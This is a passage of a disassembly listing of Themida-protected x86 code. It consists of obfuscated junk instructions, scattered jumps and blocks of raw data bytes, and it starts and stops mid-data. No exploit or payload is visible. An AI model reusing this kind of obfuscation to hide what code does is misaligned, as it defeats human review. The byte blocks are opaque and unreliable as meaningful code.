0D8F7D0F7h, 0E056800Dh, 4E8C14Fh, 0A0CF42Dh, 9784E97Ah dd 1C87FFFFh, 8F545C24h, 0BD552404h, 4, 4246C01h, 0BCE95A5Dh dd 5AFFFF90h, 0B9CBE56h, 0EE815E50h, 567936D1h, 8196E9h dd 81E68900h, 4C6h, 4C68100h, 87000000h, 15C2434h, 0A5B9E9FEh dd 0D6680000h, 8900007Ah, 19B9240Ch, 8940F974h, 7C58E9CDh dd 0ED81FFFFh, 116D0B27h, 885CE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5581CE: ; CODE XREF: Themida_:0055038Dj pop edx push eax push esi push edx jmp loc_555728 ; --------------------------------------------------------------------------- db 31h dd 2434FFDEh, 0FFC113E9h, 4BEFFh, 5C2D0000h, 103AB53h dd 711EE9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5581F2: ; CODE XREF: Themida_:0055A384j push eax mov eax, 0C896F77h inc eax sub eax, 709605B5h xor eax, 8441553h xor eax, 0C29D1BEBh sub ebx, eax push dword ptr [esp] pop eax jmp loc_5595E4 ; --------------------------------------------------------------------------- loc_558213: ; CODE XREF: Themida_:00554EB6j push esp pop edi add edi, 4 add edi, 4 xor edi, [esp] jmp loc_5502CA ; --------------------------------------------------------------------------- loc_558229: ; CODE XREF: Themida_:0054DED9j add ebp, 446C26A8h sub ebp, edi sub ebp, 446C26A8h pop edi dec ebp not ebp add ebp, 49CD556Ah push esi mov esi, ebp jmp loc_55921E ; --------------------------------------------------------------------------- db 68h, 56h, 12h aIxsa db '‰XéA#',0 db 0 ; --------------------------------------------------------------------------- loc_558253: ; CODE XREF: Themida_:00557440j not edi sub edi, 0ACFEA7Fh mov ebx, edi mov edi, [esp] add esp, 4 add ebx, 1 shr ebx, 5 xor ebx, edx xor edx, ebx xor ebx, edx not edx xchg edx, ebx neg ebx shr ebx, 1 push ecx mov ecx, 0D188C0h xor ebx, ecx jmp loc_55870D ; --------------------------------------------------------------------------- loc_558287: ; CODE XREF: Themida_:00551B49j push 5AC2h jmp loc_55A7BC ; --------------------------------------------------------------------------- db 1, 6Ch, 24h dd 0F927E904h, 1C8BFFFFh, 2E656824h, 4890000h, 5585424h dd 4, 0E904C083h, 5C5Ch, 0FF241489h, 0FF042474h, 835A2434h dd 48F04C4h, 0CFE5C24h, 62E99C24h, 5200009Bh, 396068h dd 241C8900h, 241C8B54h, 8104C483h, 4C3h, 6BE5600h, 817F6533h dd 9ACCFEC6h, 5EF32980h, 31241C33h, 1C33241Ch, 8F545C24h dd 4832404h, 815A0424h, 4C2h, 0F98BE900h, 148BFFFFh, 4C48124h dd 33000000h, 0C31240Ch, 240C3324h, 0C8B665Ch db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 3736h mov [esp], esi jmp loc_55CC3B ; --------------------------------------------------------------------------- loc_558339: ; CODE XREF: Themida_:0055A5DFj add esp, 4 pop dword ptr [esp] pop esp mov [esp], ebp push 5FE3h jmp loc_556AFB ; --------------------------------------------------------------------------- aIS db ')ë]éÄ',0Dh,0 align 4 dd 0B057E1B8h, 58C78916h, 0FFAFB3E9h, 4C481FFh, 81000000h dd 4C6h, 6805E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558376: ; CODE XREF: Themida_:005537C6j push edx mov edx, 0D60C9BBEh sub edi, edx jmp loc_5593B9 ; --------------------------------------------------------------------------- loc_558383: ; CODE XREF: Themida_:00556C94j pop esp mov [esp], ebp jmp loc_562228 ; --------------------------------------------------------------------------- loc_55838C: ; CODE XREF: Themida_:00554308j pop edi push 6073h jmp loc_55FA33 ; --------------------------------------------------------------------------- db 83h dd 68FFEFh, 0E9000000h, 350Fh, 24048F58h, 0D3C0E95Ch, 0E789FFFFh dd 4C781h, 6BE90000h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5583BB: ; CODE XREF: Themida_:0054E4DBj push dword ptr [esp] pop eax add esp, 4 loc_5583C2: ; CODE XREF: Themida_:00556D95j push 697Dh mov [esp], ebx push 29DFh mov [esp], ebp mov ebp, 2D6C4581h xor [esp+4], ebp mov ebp, [esp] add esp, 4 jmp loc_55EAB8 ; --------------------------------------------------------------------------- dw 2DADh dd 104A509Fh, 167CB32Dh, 2691E91Fh, 0C3890000h, 2DD7E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5583FE: ; CODE XREF: Themida_:0055A04Dj push 6F4Fh mov [esp], esi pop dword ptr [edx] pop esi mov edx, [esp] jmp loc_54E3F5 ; --------------------------------------------------------------------------- loc_558411: ; CODE XREF: Themida_:0055E427j mov [esp], ebp push 6388191Ch pop ebp jmp loc_560450 ; --------------------------------------------------------------------------- loc_55841F: ; CODE XREF: Themida_:005600AAj push dword ptr [esp] jmp loc_557A37 ; --------------------------------------------------------------------------- db 81h dd 0C805FDE1h, 0C1814146h, 979FED3Ch, 8159CF29h, 5D3EAh dd 81FA0156h, 5D3C2h, 243C8B56h, 81E28952h, 4C2h, 0AD19E900h dd 0FA01FFFFh, 8F7FE9h, 24048B00h, 0A032E9h, 565E5400h dd 0C681E689h, 4, 0E904EE83h, 58EFh, 59E9815Bh, 89399A5Bh dd 0E80159CDh, 3A9E9h db 0 ; --------------------------------------------------------------------------- loc_558489: ; CODE XREF: Themida_:0055A097j sub cl, dh mov edx, [esp] jmp loc_55DF45 ; --------------------------------------------------------------------------- db 58h dd 0DB2AE951h, 148BFFFFh, 5E545624h, 1EA268h, 240C8900h dd 59B968h, 243C8900h, 0A2081668h, 243C8B21h, 4C481h, 0D7F70000h dd 11BAE9h, 24248B00h, 0B9240C89h, 303B2B60h, 0FF5C94E9h dd 240489FFh, 466FFBB8h, 9007B966h, 0C10199B9h, 582434FFh dd 8104C483h, 70106C6h, 0E9CE0148h, 21ACh, 8159CB29h, 0BD5DC6C3h dd 0CEFAE907h, 0EE88FFFFh, 83240C8Bh, 0EE8004C4h, 5AF028DEh dd 8904EC83h, 0ADE9241Ch, 0FFFFFF68h, 81582434h, 4C4h dd 24148B00h, 4C481h, 0EC810000h, 4, 53240489h, 0FBE93EB7h dd 81FFFFAAh, 0EF5ACFCAh, 5C2814Fh, 1901081h, 0C1815AD1h dd 4, 0E9240C87h, 0FFFFD549h, 28B6664h, 73B36866h, 24048966h dd 0FF5854E9h, 244481FFh, 0E03B1C04h, 245C010Dh, 1CBF5704h dd 290DE03Bh, 5F08247Ch, 0FFACBEE9h, 0BAFFh, 0DA010000h dd 34FF0288h, 20E95A24h, 29000086h, 0A7E95AD5h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5585A7: ; CODE XREF: Themida_:0054FE15j pop edx push edi mov edi, 1B4189Fh sub edi, 1B4189Bh push esi mov esi, 36037176h inc esi and esi, 30FA5670h shl esi, 3 add esi, 0E449B830h sub edx, esi pop esi add edx, edi add edx, 645C3BB0h pop edi push eax jmp loc_5554CA ; --------------------------------------------------------------------------- aASpP0xx db '€ÅsP´p0åX',0 aSyai8sq db 'èY€ë8éŸ-',0 align 10h unicode 0, <¿>,0 dd 0FFFA8900h, 835F2434h, 75E904C4h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558603: ; CODE XREF: Themida_:0054FDD6j sub esp, 4 mov [esp], ecx push ebx mov ebx, 4D2F0179h push 6361CE4h jmp loc_560A1A ; --------------------------------------------------------------------------- loc_55861C: ; CODE XREF: Themida_:005500C5j sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, esp add ebp, 4 push 622h mov [esp], esi jmp loc_55253F ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFF7EC6h, 531FBB53h, 0D3F7544Ch, 0E905E3C1h dd 374Fh, 4EC815Fh, 89000000h, 0DBD242Ch, 0C12FB670h, 0CD8102EDh dd 2C3B340Ch, 43F5C581h, 0EA81D000h, 34AC26FBh, 0C281EA29h dd 34AC26FBh, 98E8E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55868A: ; CODE XREF: Themida_:0054F352j pop eax add eax, 4 jmp loc_557E89 ; --------------------------------------------------------------------------- loc_558695: ; CODE XREF: Themida_:0055CFDDj pop edi sub [esp+4], ebp jmp loc_54EA62 ; --------------------------------------------------------------------------- db 0F6h dd 0E99C241Ch, 0FFFFE7E9h, 8324048Bh, 2C8B04C4h, 4C48124h dd 68000000h, 2084h, 68241489h, 736Bh, 0E9243489h, 246Dh dd 0F587D6F7h, 5086E9h, 0E5E95A00h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5586DB: ; CODE XREF: Themida_:00550E6Aj xchg edx, [esp] pop esp xor ebx, edx jmp loc_55B9D4 ; --------------------------------------------------------------------------- dw 65B4h dd 53A4CC80h, 99E93AB7h, 5DFFFF9Bh, 65F0E9h db 0 ; --------------------------------------------------------------------------- loc_5586F9: ; CODE XREF: Themida_:0054E9FDj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_55FE69 ; --------------------------------------------------------------------------- loc_55870D: ; CODE XREF: Themida_:00558282j pop ecx add ebp, ebx push dword ptr [esp] jmp loc_55D60A ; --------------------------------------------------------------------------- dd 0A1EA20Dh, 0FBF572Eh, 92A237Eh, 2565E9F8h, 0F1010000h dd 8124348Bh, 4C4h, 4BF5700h, 53000000h, 339EE9h db 0 ; --------------------------------------------------------------------------- loc_558741: ; CODE XREF: Themida_:00555CDCj mov edi, [esp] add esp, 4 add edx, 9E9A51h jmp loc_553C1E ; --------------------------------------------------------------------------- aN1Qsk db '1ØQéŠ=',0 db 0 ; --------------------------------------------------------------------------- loc_55875B: ; CODE XREF: Themida_:0055CB24j shl ebx, 3 sub ebx, 47346BBh dec ebx xor ebx, 25E42313h add ebx, 0E2FC269Bh xor edi, ebx pop ebx and ebp, edi pop edi push edi mov edi, 79647FE7h xor edi, 7B47730Bh shl edi, 7 sub edi, 51733EFFh dec edi push eax jmp loc_55B16F ; --------------------------------------------------------------------------- db 89h dd 0B951243Ch, 6EC51D18h, 41E9E987h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5587A3: ; CODE XREF: Themida_:0055F7F6j push ebp push edi sub esp, 4 mov [esp], esi jmp loc_5608DC ; --------------------------------------------------------------------------- db 0FFh dd 348B2434h, 6AC7E924h, 0E835FFFFh, 8965DC56h, 0CDFCE9C7h dd 0E95CFFFFh, 0F72h, 57D3F75Bh, 0F75ADABFh, 5FFB210Fh dd 0FFD13BE9h, 0BAD2DFFh, 0C10902B3h, 55C18158h, 0E922021Ah dd 0FFFFFD04h ; --------------------------------------------------------------------------- loc_5587F4: ; CODE XREF: Themida_:0055FB6Fj push 4274h mov [esp], ebx push 0D076EB25h mov ebx, [esp] add esp, 4 xor esi, ebx pop ebx add ebx, esi push dword ptr [esp] mov esi, [esp] jmp loc_5624CF ; --------------------------------------------------------------------------- db 0B5h dd 59E8006Dh, 0EC81D828h, 4, 81241C89h, 4ECh, 0DA4EE900h dd 505DFFFFh, 42474FFh, 24048F58h, 4EC815Ch, 89000000h dd 0EBB9240Ch, 0E955AB60h, 244Bh, 242C895Ch, 0D2E9C589h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_55885B: ; CODE XREF: Themida_:00552501j push dword ptr [esp] jmp loc_55517D ; --------------------------------------------------------------------------- db 2Ch dd 37E95151h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55886B: ; CODE XREF: Themida_:0054E3C7j mov ch, 0D8h jmp loc_552CC6 ; --------------------------------------------------------------------------- loc_558872: ; CODE XREF: Themida_:0056099Fj push eax jmp loc_5529B9 ; --------------------------------------------------------------------------- dd 8B2434FFh, 3BE92404h, 1FFFFE1h, 0D0C381EBh, 5D148728h dd 517EE9h, 0E9772C00h, 0FFFF9FEBh ; --------------------------------------------------------------------------- loc_558898: ; CODE XREF: Themida_:00550FCEj mov ebx, 7F8530E5h push ebp mov ebp, 105CF2A0h sub ebx, ebp pop ebp add ebp, ebx pop ebx and ebp, 20EF7C11h add ebp, 78083A65h push edx mov edx, esp add edx, 4 push eax mov eax, 4 sub edx, eax jmp loc_5510E7 ; --------------------------------------------------------------------------- db 5 dd 4, 0E9240487h, 98FDh, 4EC81h, 3C890000h, 56496824h dd 24890000h, 24048124h, 4, 4EC835Fh, 81243489h, 4ECh dd 240C8900h, 7A169F68h, 75B1E933h, 0EA830000h, 0BEF28101h dd 817BFEEBh, 0F15571C6h, 14EE8121h, 8129AD27h, 6D2BB1C6h dd 0E9D60119h, 0FFFF8BB3h, 0E9240489h, 0FFFF8E1Fh, 0BFE9C229h db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55893B: ; CODE XREF: Themida_:00557FDFj pop ecx push 0C17h mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_5559AC ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 2BBh, 5BD90100h, 0A5B68h, 4BEFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558966: ; CODE XREF: Themida_:00556254j add ebx, 215E1DF6h sub ebx, esi sub ebx, 215E1DF6h jmp loc_55CF55 ; --------------------------------------------------------------------------- db 0E9h, 47h, 54h dd 0C31FFFFh, 240C3324h, 242C895Ch, 168h, 242C8B00h, 0E904C483h dd 0FFFFA3C8h, 362268h, 242C8900h, 3606E9h, 5BD80100h dd 0FF83A3E9h, 27C181FFh, 8146AD4Bh, 9C74B8C1h, 49BB5333h dd 0E9617D52h, 0FFFFC5E2h, 24048B66h, 685F5457h, 2741h dd 0E9240489h, 87C3h, 0FDE9CDFEh, 89FFFFFBh, 0B8502434h dd 312D0296h, 4034B805h, 0F406E964h, 0D400FFFFh, 0FFF368E9h dd 1F24BFFFh, 15E91239h, 0C1FFFF5Ah, 814608EEh, 476764C6h dd 5EF30973h, 1805B850h, 0C3018C50h, 0FF9549E9h, 0F665CFFh dd 9C2404BBh, 33EAE9h, 0B1EF8000h, 0C780CF28h, 0AE959B1h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558A37: ; CODE XREF: Themida_:00557983j not dword ptr [esp] jmp loc_561F23 ; --------------------------------------------------------------------------- loc_558A3F: ; CODE XREF: Themida_:0055E2CFj xor eax, ebx jmp loc_561488 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 9C240410h, 0FF5370E9h, 5AD788FFh, 524FEF80h dd 0DAF661B2h, 3997E9h, 0E9DE0100h, 0FFFF8FBCh ; --------------------------------------------------------------------------- loc_558A6C: ; CODE XREF: Themida_:0054F844j not ebx shl ebx, 8 xor ebx, 0D916B39Dh sub ebp, ebx jmp loc_555576 ; --------------------------------------------------------------------------- dw 1CBBh dd 0F7498307h, 37BF57D3h, 955A232h, 814B5FFBh, 400E5BCBh dd 2EC3816Ah, 2139DE27h, 0BA525BDEh, 110C2427h, 70E9D631h dd 81FFFF5Fh, 4E9h, 240C8700h, 0FFB254E9h, 243489FFh, 0B8505E54h dd 4, 674CBA52h, 25E91BBEh, 5AFFFF90h, 8704C583h, 685C242Ch dd 2C36h, 0BD242C89h, 33F5389Eh, 5FE9DDF7h, 66000004h dd 66390D68h, 0F581665Dh, 8966390Fh, 51665DE9h, 2EC81h dd 89660000h, 0B8662404h, 0B5E975ACh, 2500000Eh, 3B556E32h dd 0FFE53CE9h, 0DCBD55FFh, 533E5341h, 3D07E9h, 4C5DB900h dd 0C1811C72h, 40452000h, 0FFD7B8E9h, 0E9C701FFh, 0FFFFEC4Ch dd 8105E9C1h, 4503E0E9h, 72AD0503h, 0C8296E62h, 6272AD2Dh dd 5648596Eh, 3D1921BEh, 0F7D6F76Dh, 4FF681D6h, 816D6441h dd 0F35F10C6h, 49C68113h, 3104E7A3h, 93BDE9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558B76: ; CODE XREF: Themida_:0055C274j or edx, eax jmp loc_54DDE9 ; --------------------------------------------------------------------------- loc_558B7D: ; CODE XREF: Themida_:00562492j add eax, 1F3495DCh mov edi, eax pop eax sub edi, 7A526B0Bh sub edi, edx push esi mov esi, 3EE96210h inc esi neg esi jmp loc_54DEFB ; --------------------------------------------------------------------------- loc_558B9B: ; CODE XREF: Themida_:0055BD22j mov ebx, 467D3864h xor [esp+4], ebx jmp loc_560D26 ; --------------------------------------------------------------------------- db 0ACh, 53h, 50h dd 0FFE145E9h, 241C89FFh, 4EC81h, 0C890000h, 24A0E924h dd 0F0290000h, 6B785D2Dh, 64E95E5Ch db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558BCF: ; CODE XREF: Themida_:005534D7j add edx, 4 jmp loc_55DB7B ; --------------------------------------------------------------------------- loc_558BDA: ; CODE XREF: Themida_:0054ED6Fj mov ebx, 4 add esi, ebx pop ebx add esi, 4 xchg esi, [esp] pop esp push edi mov edi, esp add edi, 4 jmp loc_562513 ; --------------------------------------------------------------------------- dw 8B66h dd 0E9502404h, 0FFFF9DA2h ; --------------------------------------------------------------------------- loc_558C04: ; CODE XREF: Themida_:0056251Dj mov [esp], ecx mov ecx, esp push ebp mov ebp, 7BEF48DAh shl ebp, 7 neg ebp sub esp, 4 mov [esp], edi jmp loc_55A454 ; --------------------------------------------------------------------------- loc_558C1F: ; CODE XREF: Themida_:005627F3j pop ebp xor edi, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_55AC81 ; --------------------------------------------------------------------------- dw 335Ah dd 0F8E9241Ch db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558C37: ; CODE XREF: Themida_:00555C3Cj push ecx mov ecx, 4 sub edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] jmp loc_55512E ; --------------------------------------------------------------------------- db 50h dd 33C2BD55h, 0F581662Eh, 700212C7h, 381ED81h, 0DDF763C4h dd 4EC81h, 14890000h, 4EC8124h, 89000000h, 0DC68240Ch dd 596F310Ch, 1F64C981h, 0FEE9742Dh db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558C83: ; CODE XREF: Themida_:005627BFj add edi, ecx pop ecx push 288Ah mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push ebp mov ebp, esp jmp loc_55C208 ; --------------------------------------------------------------------------- db 80h, 0C7h, 0C6h dd 0E95BFC28h, 6BE2h ; --------------------------------------------------------------------------- loc_558CAC: ; CODE XREF: Themida_:00554DECj xor ebx, 47BA3A4Bh jmp loc_551927 ; --------------------------------------------------------------------------- db 21h dd 0BA5258C6h, 6EA955D2h, 6E09CA81h, 0EA811B28h, 59B32696h dd 0FF6F26E9h db 0FFh ; --------------------------------------------------------------------------- loc_558CD1: ; CODE XREF: Themida_:00556AD7j mov edx, 31F170CFh push ebp mov ebp, 6C4702DBh xor edx, ebp jmp loc_55C09F ; --------------------------------------------------------------------------- db 89h dd 4C181E1h, 57000000h, 4BFh, 0E9F90100h, 4D78h ; --------------------------------------------------------------------------- loc_558CF8: ; CODE XREF: Themida_:00562101j pop ebp push 512Bh jmp loc_55CA7B ; --------------------------------------------------------------------------- db 81h dd 5256C8EFh, 52C70157h, 5256C8BAh, 5AD70157h, 0E9FD0158h dd 0FFFF65E1h, 617DEA81h, 0F2817CCFh, 5D645108h, 5D02C281h dd 0D729B543h, 0FFEF815Ah, 81FFFFFFh, 0FC4924EFh, 8BF901B0h dd 0C483243Ch, 9EE95A04h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D4B: ; CODE XREF: Themida_:0055DF97j mov edi, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp loc_558D5B: ; CODE XREF: Themida_:005542C0j sub esp, 4 mov [esp], ebx jmp loc_552E0B ; --------------------------------------------------------------------------- loc_558D69: ; CODE XREF: Themida_:00553134j mov [esp], ecx jmp loc_54DDC5 ; --------------------------------------------------------------------------- loc_558D71: ; CODE XREF: Themida_:00560249j pop ecx jmp loc_55D1B4 ; --------------------------------------------------------------------------- db 59h dd 5704C483h, 0E33D55BFh, 8EFC172h, 0A4CBA52h, 0D72948AFh dd 0EDEF815Ah, 0E9B7C3D8h, 5D88h, 436FED81h, 0F7450CC5h dd 28ED81D5h, 216ED8F0h, 0F945E9E9h, 0D2F7FFFFh, 136EA81h dd 0D1292188h, 0E9F1015Ah, 911Eh, 4240483h, 5D2434FFh dd 81E38953h, 4C3h, 4C38100h, 87000000h, 1CE9241Ch, 81000062h dd 4C4h, 0EAE95300h, 58000039h, 0F43C681h, 0DE292AFCh dd 0FF8D55E9h, 241489FFh, 41B95153h, 0BB45C018h, 9256BE1h dd 5359CB31h, 0FFE119E9h db 0FFh ; --------------------------------------------------------------------------- loc_558E11: ; CODE XREF: Themida_:00550B23j pop edi add edi, 4 push esi mov esi, 4 add edi, esi mov esi, [esp] add esp, 4 push 643Ch mov [esp], edi jmp loc_557FFE ; --------------------------------------------------------------------------- db 30h dd 0F58058C5h, 9008E961h, 0E95EFFFFh, 0FFFFCC30h, 83242C8Bh dd 54E904C4h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558E4F: ; CODE XREF: Themida_:0055B459j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_54FB98 ; --------------------------------------------------------------------------- loc_558E66: ; CODE XREF: Themida_:0055C6AAj mov [esp], ebx jmp loc_561465 ; --------------------------------------------------------------------------- dw 0F809h dd 605405Fh, 0E9426122h, 0FFFF7825h, 33241431h, 0AE92414h dd 83FFFFB7h, 896602ECh, 99B22414h, 5A66D300h, 6E4A6866h dd 24048966h, 0FFA5C3E9h, 8ABB53FFh, 1D6E1EFh, 0EF815BDAh dd 5BB44013h, 40ADEF81h, 0D7291BFCh, 40ADC781h, 0BFE91BFCh dd 33FFFF95h, 4312404h, 24043324h, 0E924248Bh, 4554h ; --------------------------------------------------------------------------- loc_558ED4: ; CODE XREF: Themida_:0055DB81j pop esp push 1678h mov [esp], edi mov edi, esp add edi, 4 push ebx push ecx jmp loc_55B450 ; --------------------------------------------------------------------------- dd 8904EC83h, 69682404h, 5860CB60h, 37B1E992h, 6C810000h dd 32930424h, 6C81180Dh, 29450424h, 740152DFh, 44810424h dd 29450424h, 448152DFh, 32930424h, 348B180Dh, 4C48324h dd 0FF54C0E9h, 4EC81FFh, 89000000h, 0E9562404h, 0FFFFF30Dh dd 0B60F6664h, 6F686602h, 3FB6E946h, 8680000h, 89000010h dd 0BB532404h, 6D2D26F8h, 81D3F74Bh, 50FB2CBh, 4564E925h dd 0BA520000h, 7EDF72E3h, 495AD109h, 5A32E9h, 0F2815C00h dd 816CB4DCh, 4EC81h, 2C890000h, 5909BD24h, 0F581240Ah dd 39C647B0h, 555DE945h, 0E9C0FFFFh, 70685008h, 89000023h dd 0B252241Ch, 88535107h, 5BFD88D7h, 5A59EB88h, 191D68h dd 241C8900h, 8D15E9h, 1C51BE00h, 0F5896981h, 4EDC15Eh dd 5B1E9h, 0EF815F00h, 84721618h, 15FF801h, 5959E9C6h dd 568FFFFh, 89000028h, 1A682404h, 89000060h, 0FEBE2434h dd 0E9000000h, 0FFFFED93h ; --------------------------------------------------------------------------- loc_558FF8: ; CODE XREF: Themida_:005593A1j push ax jmp loc_562393 ; --------------------------------------------------------------------------- db 5Bh dd 5D545558h, 4C581h, 0ED830000h, 74FF5504h, 8F5D0424h dd 4CE92404h, 33FFFFC1h, 248B2404h, 0E9505224h, 5ED9h dd 0BCE9C601h, 8FFFFF6Fh, 665C2404h, 6824048Bh, 72F9h dd 54243C89h, 0FFE64CE9h, 58C101FFh, 47E9D9F7h, 80FFFF8Fh dd 88E989C6h, 29FFFF59h, 0F18959CEh, 0FF571DE9h, 0C4CE81FFh dd 0E950B37Bh, 0FFFFF997h, 0E9243489h, 0FFFFC0CBh ; --------------------------------------------------------------------------- loc_559074: ; CODE XREF: Themida_:0055FC9Cj not eax push esi mov esi, 41465EC9h sub eax, esi pop esi push 144Ch mov [esp], ebp mov ebp, 66FE011Dh push eax jmp loc_55BB74 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 0E9243C87h, 0FFFFF97Dh, 8B2434FFh, 0C481241Ch dd 4, 0E904C483h, 5231h, 0B6241489h, 0B15166EEh, 66CE2016h dd 80D6F659h, 0D6F6B5C6h, 8024EE80h, 0F33072C6h, 6C40E95Ah dd 0E9AC0000h, 7CE3h, 0F380DBF6h, 5BDC0825h, 88D6EC80h dd 24048BE3h, 5204C483h, 0EEC05BB6h, 1C68005h, 0FFBDC3E9h dd 0B60F66FFh, 0E5686602h, 4896658h, 4CB7E924h, 3B05FFFFh dd 5E58E32Fh, 0E9240433h, 0FFFF7A5Ah, 8F685152h, 0FF284455h dd 0E9592434h, 5D87h, 0D110A22Dh, 0C5315A53h, 8324048Bh dd 0BA5204C4h, 1C9A41D4h, 4EC81h, 0C890000h, 7628B924h dd 0E981646Bh, 0FFFFFFFFh, 1C181h, 14E90000h, 57FFFF63h dd 0E952E789h, 0FFFF8F32h ; --------------------------------------------------------------------------- loc_559168: ; CODE XREF: Themida_:00552691j push esi push ebx mov ebx, 1F95076Dh or ebx, 7E780BEEh jmp loc_555D32 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 592434FFh, 2FF5E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55918A: ; CODE XREF: Themida_:0055B933j pop edi push 7DECh mov [esp], ebp push edx jmp loc_56189B ; --------------------------------------------------------------------------- loc_559199: ; CODE XREF: Themida_:0055CA53j mov esi, edx pop edx jmp loc_561B6A ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48359h, 0E950CC80h, 0FFFF6847h, 8D340A05h, 40D8F776h dd 4004E9h, 0ABE95F00h, 89FFFFA3h, 273868E6h, 94E90000h dd 2DFFFFDCh, 37160264h, 0EA76F90Dh, 7E22E911h, 3C89FFFFh dd 0E95F5424h, 2CCDh, 0F3685366h, 89000048h, 0FDB42404h dd 887FF480h, 42E958E3h, 0BAFFFF58h, 4, 2B69ED81h, 0D5015F36h dd 2B69C581h, 335A5F36h, 2C31242Ch, 7AB5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55921E: ; CODE XREF: Themida_:00558244j mov edx, esi jmp loc_561FC5 ; --------------------------------------------------------------------------- db 29h, 0DEh, 5Bh dd 0FF584FE9h, 5FFD01FFh, 34FFE831h, 0C4835D24h, 4EC7E904h dd 50530000h, 0FFED5BE9h, 240C33FFh, 4FF665Ch, 68E99C24h dd 80FFFFBCh, 0E95ADBC3h, 696Ch ; --------------------------------------------------------------------------- loc_55925C: ; CODE XREF: Themida_:00560F7Bj push small 444Ah mov [esp], dx push 6D08h mov [esp], ecx mov cl, 2Ch add cl, 0FFh xchg dh, cl dec dh jmp loc_554F15 ; --------------------------------------------------------------------------- dw 0F801h dd 7B254E2Dh, 0F15053Ah, 0BA52400Fh, 397D0249h, 5608E2C1h dd 8D1DC1BEh, 5EF22974h, 148BD029h, 4C48324h, 5F2434FFh dd 0FF8988E9h, 405FFh, 7E90000h db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5592B3: ; CODE XREF: Themida_:005523D0j xchg esi, [esp] jmp loc_557170 ; --------------------------------------------------------------------------- db 0BDh dd 17132CC3h, 0EDC1D5F7h, 0E8E58106h, 8156E275h, 143F63C5h dd 4AE58118h, 81523403h, 0CBFFFAC5h, 5DEF01EDh, 5C243C87h dd 4EC81h, 4890000h, 5E08924h, 4, 910CE9h db 0 ; --------------------------------------------------------------------------- loc_5592F9: ; CODE XREF: Themida_:00557A7Ej mov esp, [esp] mov [esp], edi push 80000h mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_554F75 ; --------------------------------------------------------------------------- db 87h dd 248B243Ch, 241C8924h, 7E0EBF57h, 0E2BB3031h, 31478508h dd 0BA525FFBh, 78940879h, 0FCBE281h, 81422357h, 765109F2h dd 0D6BD5557h, 0E90C3154h, 6B3Dh, 0C781E789h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_550FBE ; --------------------------------------------------------------------------- db 2Dh, 4Fh, 41h dd 2AE9918Dh db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55936F: ; CODE XREF: Themida_:0055F8E1j push dword ptr [esp] jmp loc_5505AC ; --------------------------------------------------------------------------- loc_559377: ; CODE XREF: Themida_:00554650j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], ebx mov bl, 23h mov cl, bl pop ebx mov bl, 45h add bl, cl mov ecx, [esp] add esp, 4 jmp loc_558FF8 ; --------------------------------------------------------------------------- dw 8851h dd 9AA4E9F5h, 0EA81FFFFh, 499D3BC5h, 0FF6B67E9h db 0FFh ; --------------------------------------------------------------------------- loc_5593B9: ; CODE XREF: Themida_:0055837Ej pop edx sub eax, 4EBE1FD5h sub eax, edi add eax, 4EBE1FD5h jmp loc_552D8A ; --------------------------------------------------------------------------- aIuhiv db '‰ãh©V',0 align 2 dw 0C89h dd 18C6B924h, 0E981253Bh, 3D7E03C9h, 162AE949h, 0CB810000h dd 6411B6Bh, 5608EBC1h, 52CEE9h, 4077FF00h, 0FF49C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5593FD: ; CODE XREF: Themida_:00557827j pop ecx sub [edi+24h], ebx push dword ptr [esp] jmp loc_55BCE8 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FFB37EE9h, 3EDC1FFh, 211ACD81h, 0CD814D88h, 6539175Eh dd 0ADA4F581h, 9D056973h, 16A6A19h, 199D2DE8h, 2D5D6A6Ah dd 198C4995h, 9505E801h, 2D198C49h, 6881A5Bh, 83242C8Bh dd 43304C4h, 